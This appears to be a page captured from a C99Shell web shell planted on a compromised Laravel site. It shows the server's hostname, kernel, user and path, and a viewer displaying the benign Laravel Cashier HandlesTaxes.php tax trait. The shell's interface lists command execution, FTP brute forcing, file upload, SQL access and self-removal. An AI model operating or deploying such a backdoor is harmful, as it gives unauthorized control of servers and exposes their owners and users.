!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/Concerns/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HandlesTaxes.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier\Concerns;

use 
Laravel\Cashier\Cashier;

trait 
HandlesTaxes
{
    
/**
     * Indicates if Cashier should automatically calculate tax for the new subscription.
     *
     * @var bool
     *
     * @deprecated Use the new Cashier::calculateTaxes() method instead.
     */
    
protected $automaticTax false;

    
/**
     * The IP address of the customer used to determine the tax location.
     *
     * @var string|null
     */
    
protected $customerIpAddress;

    
/**
     * The pre-collected billing address used to estimate tax rates when performing "one-off" charges.
     *
     * @var array
     */
    
protected $estimationBillingAddress = [];

    
/**
     * Indicates if Tax IDs should be collected during a Stripe Checkout session.
     *
     * @var bool
     */
    
protected $collectTaxIds false;

    
/**
     * Allow taxes to be automatically calculated by Stripe.
     *
     * @return $this
     *
     * @deprecated Use the new Cashier::calculateTaxes() method instead.
     */
    
public function withTax()
    {
        
$this->automaticTax true;

        return 
$this;
    }

    
/**
     * Set the The IP address of the customer used to determine the tax location.
     *
     * @return $this
     */
    
public function withTaxIpAddress($ipAddress)
    {
        
$this->customerIpAddress $ipAddress;

        return 
$this;
    }

    
/**
     * Set a pre-collected billing address used to estimate tax rates when performing "one-off" charges.
     *
     * @param  string  $country
     * @param  string|null  $postalCode
     * @param  string|null  $state
     * @return $this
     */
    
public function withTaxAddress($country$postalCode null$state null)
    {
        
$this->estimationBillingAddress array_filter([
            
'country' => $country,
            
'postal_code' => $postalCode,
            
'state' => $state,
        ]);

        return 
$this;
    }

    
/**
     * Get the payload for Stripe automatic tax calculation.
     *
     * @return array|null
     */
    
protected function automaticTaxPayload()
    {
        return 
array_filter([
            
'customer_ip_address' => $this->customerIpAddress,
            
'enabled' => $this->isAutomaticTaxEnabled(),
            
'estimation_billing_address' => $this->estimationBillingAddress,
        ]);
    }

    
/**
     * Determine if automatic tax is enabled.
     *
     * @return bool
     */
    
protected function isAutomaticTaxEnabled()
    {
        return 
$this->automaticTax ?: Cashier::$calculatesTaxes;
    }

    
/**
     * Indicate that Tax IDs should be collected during a Stripe Checkout session.
     *
     * @return $this
     */
    
public function collectTaxIds()
    {
        
$this->collectTaxIds true;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--